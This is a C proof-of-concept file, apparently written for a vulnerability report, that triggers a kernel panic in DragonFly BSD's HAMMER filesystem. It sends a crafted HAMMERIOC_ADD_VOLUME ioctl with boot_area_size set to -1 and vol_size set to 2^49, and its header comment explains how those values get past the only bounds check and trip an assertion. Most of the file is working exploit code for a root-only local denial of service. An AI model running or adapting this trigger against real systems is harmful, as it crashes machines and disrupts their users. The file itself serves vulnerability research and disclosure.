/*
 * trigger.c - DF-0869 PoC trigger.
 *
 * Demonstrates missing bounds validation in hammer_format_volume_header
 * (sys/vfs/hammer/hammer_volume.c:617-671) by issuing HAMMERIOC_ADD_VOLUME
 * with attacker-controlled int64 fields that produce an out-of-range
 * vol_buf_size.
 *
 * The vulnerable path:
 *
 *   hammer_format_volume_header(hmp, ioc, ondisk, vol_no)
 *     vol_alloc  = root_ondisk->vol_bot_beg;        // ~256 KiB
 *     vol_alloc += ioc->boot_area_size;             // ATTACKER int64, unchecked
 *     vol_alloc += ioc->memory_log_size;            // ATTACKER int64, unchecked
 *     ondisk->vol_buf_beg = vol_alloc;
 *     ondisk->vol_buf_end = ioc->vol_size & ~HAMMER_BUFMASK;  // unchecked
 *     if (HAMMER_VOL_BUF_SIZE(ondisk) < 0)          // ONLY check: signed < 0
 *         return EFTYPE;
 *     return 0;
 *
 * With boot_area_size = -1 and vol_size = 2^49 (~512 TiB), vol_buf_beg
 * becomes (256K - 1) and vol_buf_end becomes 2^49, so vol_buf_size =
 * (2^49 - 0x3FFFF) is a huge POSITIVE value that passes the only check.
 *
 * hammer_ioc_volume_add then calls hammer_install_volume (succeeds - it
 * doesn't recheck the bounds either), then hammer_format_freemap at line
 * 407:
 *
 *     vol_buf_size = HAMMER_VOL_BUF_SIZE(ondisk);
 *     KKASSERT((vol_buf_size & ~HAMMER_OFF_SHORT_MASK) == 0);
 *
 * HAMMER_OFF_SHORT_MASK = 0x000FFFFFFFFFFFFF, so the KKASSERT fires when
 * vol_buf_size has any of bits 48..63 set -- exactly our 2^49.  On the
 * default X86_64_GENERIC kernel (options INVARIANTS) KKASSERT panics the
 * kernel.
 *
 * Privilege model: HAMMERIOC_ADD_VOLUME is gated behind
 * caps_priv_check(SYSCAP_NOVFS_IOCTL) at hammer_ioctl.c:197, so this is
 * a root-only path (CVSS PR:H).  Realistic threat: a HAMMER admin issuing
 * a hand-crafted ADD_VOLUME (or a buggy/compromised userspace tool) can
 * panic the kernel => local DoS via root-only ioctl.
 *
 * Build: cc -o trigger trigger.c
 * Run:   ./trigger <mounted-hammer-mp> <path-to-new-volume-file>
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <vfs/hammer/hammer_ioctl.h>

int
main(int argc, char **argv)
{
    const char *mp, *newvol;

    if (argc != 3) {
        fprintf(stderr, "usage: %s <hammer-mountpoint> <new-volume-path>\n",
            argv[0]);
        return 2;
    }
    mp     = argv[1];
    newvol = argv[2];

    int fd = open(mp, O_RDONLY);
    if (fd < 0) {
        perror("open mountpoint");
        return 1;
    }

    /*
     * Crafted values:
     *   boot_area_size  = -1            (makes vol_buf_beg = root.vol_bot_beg - 1)
     *   memory_log_size = 0
     *   vol_size        = 1 << 49       (huge "device size", never validated
     *                                    against the real backing file nor
     *                                    against any upper bound)
     *
     * vol_buf_size = (1<<49) - (root.vol_bot_beg - 1) ~= 1<<49, positive,
     * has bit 48 set -> KKASSERT in hammer_format_freemap trips.
     */
    struct hammer_ioc_volume v;
    memset(&v, 0, sizeof v);
    strlcpy(v.device_name, newvol, sizeof v.device_name);
    v.vol_no          = 0;   /* kernel picks free_vol_no, this is ignored */
    v.flag            = 0;
    v.boot_area_size  = -1;
    v.memory_log_size = 0;
    v.vol_size        = (int64_t)1 << 49;   /* 2^49 = 562949953421312 bytes */

    printf("[*] issuing HAMMERIOC_ADD_VOLUME on '%s'\n", newvol);
    printf("[*]     boot_area_size  = -1\n");
    printf("[*]     memory_log_size = 0\n");
    printf("[*]     vol_size        = %lld (~512 TiB, has bit 48 set)\n",
        (long long)v.vol_size);
    fflush(stdout);

    int rc = ioctl(fd, HAMMERIOC_ADD_VOLUME, &v);
    /*
     * On the unpatched GENERIC kernel (#0, INVARIANTS on) we never reach
     * here: hammer_format_freemap KKASSERT panics the kernel first; the
     * guest dies mid-syscall and this ssh session drops.
     */
    printf("[*] ioctl returned %d (errno=%d '%s'); head.flags=0x%x "
        "head.error=%d\n",
        rc, rc < 0 ? errno : 0, rc < 0 ? strerror(errno) : "ok",
        v.head.flags, v.head.error);

    close(fd);
    return 0;
}
